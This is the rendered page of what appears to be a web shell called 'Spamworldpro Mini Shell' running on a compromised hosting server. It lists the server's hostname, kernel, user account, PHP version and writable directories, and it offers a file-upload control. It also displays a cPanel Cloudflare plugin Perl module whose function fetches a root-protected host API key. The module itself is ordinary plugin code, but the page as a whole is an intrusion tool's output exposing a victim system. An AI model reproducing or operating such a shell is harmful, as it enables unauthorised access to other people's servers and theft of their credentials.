Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/Cloudflare-CPanel-7.0.1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/palandch/Cloudflare-CPanel-7.0.1/CloudFlare.pm
package Cpanel::API::CloudFlare;

use strict;


#Version of perl module NOT plugin.
our $VERSION = '1.0';

# Your comments about this custom module.

# Cpanel Dependencies
use Cpanel                   ();
use Cpanel::API              ();
use Cpanel::Locale           ();
use Cpanel::Logger           ();
use Data::Dumper;

# Other dependencies go here.
# Defaults go here.
# Constants go here.

# Globals
my $logger = Cpanel::Logger->new();

# Caches go here.

# Functions go here.

#-------------------------------------------------------------------------------------------------
# Name:
#   getHostApiKey - Gets the host API key as root
# Desc:
#   Gets the host API key as root
# Arguments:
#   n/a
# Returns:
#   $result1 - string - The host API key
#-------------------------------------------------------------------------------------------------
sub getHostApiKey {

    my ( $args, $result ) = @_;

    # https://documentation.cpanel.net/display/SDK/Guide+to+API+Privilege+Escalation+-+Application+Files
    # Makes a call to /usr/local/cpanel/bin/admin/CloudFlare/APIKey which runs as root to obtain
    # the host API key stored at /root/.cpanel/datastore/cf_api.

    my $admin_bin_call = Cpanel::Wrap::send_cpwrapd_request(
           'namespace' => 'CloudFlare',
           'module'    => 'APIKey',
           'function'  => 'getHostApiKey',
    );

    my $host_api_key = $admin_bin_call->{'data'};
    $host_api_key =~ s/\n//; #string replace new line with nothing

    if (defined $host_api_key) {
        $result->data($host_api_key);
        return 1;
    }
    else {
        $logger->warn("Failed to load Host API key.");
        return 0;
    }
}

1; #Ah, perl

Spamworldpro Mini